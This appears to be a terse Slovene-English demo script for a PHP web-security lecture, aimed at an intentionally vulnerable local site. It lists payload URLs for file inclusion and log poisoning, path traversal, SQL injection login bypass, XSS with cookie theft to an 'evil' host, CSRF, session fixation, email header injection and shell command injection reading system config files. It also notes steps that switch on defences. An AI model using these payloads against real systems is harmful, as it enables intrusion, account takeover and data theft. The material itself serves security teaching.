

Register globals:

- http://luknja.dev2/admin/rg_login.php?username=gasper&password=kozak
- http://luknja.dev2/admin/rg_login.php?admin=1

Include exploits:

- remote:
 - <http://luknja.dev2/include.php?file=http://evil.dev2/inc.txt>
 - <http://luknja.dev2/include.php?file=http://evil.dev2/inc.txt?>
- local: upload + include
 - [\\dev2\www\evil\lazna_slika.png](http://dev2/www/evil/lazna_slika.png)
 - http://luknja.dev2/include.php?file=../pics/lazna_slika.png
 - http://luknja.dev2/include.php?file=../pics/lazna_slika.png%00
- log exploit (brez uploada):
 - sprazni `/var/www/log/apache/access.log`
 - tamper data:
 - <http://luknja.dev2/>
 - `<?php print_r($_SERVER); ?>`
 - <http://luknja.dev2/include.php?file=/var/log/apache2/access.log%00>

Local file access:

- luknja.dev2: file.php
- <http://luknja.dev2/file.php?name=a.txt>
- <http://luknja.dev2/file.php?name=../config.php> (view source)

E-mail header injection:

- <http://luknja.dev2/email.php?from=user@example.com>
- <http://luknja.dev2/email.php?from=user@example.com%00ACC: a@b.com, b@c.com, ...>

SQL injection:

- <http://luknja.dev2/admin/login.php>
 - tamper data
 - `admin' -- &password=`
- <http://luknja.dev2/admin/users/list.php>
 - http://luknja.dev2/admin/users/delete.php?user_id=0 or `user_id > 1`

XSS:

- comment
 - `<script>alert(1)</script>`
 - zbriši commente
 - [\\dev2\www\evil\stealcookie.php](http://dev2/www/evil/stealcookie.php)
 - create + login zloba
 - zloba: `<script>document.write("");</script>`
 - admin: login, view comments
 - `\\dev2\www\evil\cookies.txt`
- search
 - [http://luknja.dev2/search1.php?q=<script>alert\(1\)</script>](http://luknja.dev2/search1.php?q=<script>alert(1)</script>)
 - [http://luknja.dev2/search2.php?q=' /><script>alert\(1\)</script>](http://luknja.dev2/search2.php?q=' /><script>alert(1)</script>)

- galerija
 - <http://luknja.dev2/galerija.php>
 - title: TITLE" onload="alert(1)" alt="ALT

CSRF:

- <http://evil.dev2/csrf.php> (GET)
- vklopi referrer check
- profile img (pravzaprav XSS)
 - ``
- vklopi POST check, izklopi referrer check
- <http://evil.dev2/csrf.php> (iframe)
- vklopi form token

Session fixation:

- <http://luknja.dev2/admin/login.php?PHPSESSID=1234>

Shell injection:

- <http://luknja.dev2/shell.php?file=a.txt>
- 1. \$cmd
- [http://luknja.dev2/shell.php?file=a.txt %26%26 ls /](http://luknja.dev2/shell.php?file=a.txt%26%26%20ls/)
- vklopi 2. \$cmd
- [http://luknja.dev2/shell.php?file=a.txt %26%26 ls /](http://luknja.dev2/shell.php?file=a.txt%26%26%20ls/)
- <http://luknja.dev2/shell.php?file=a.txt%22%20%26%26%20cat%20/etc/php5/apache2/php.ini%20%26%26%20echo%20%22>
- vklopi 3. \$cmd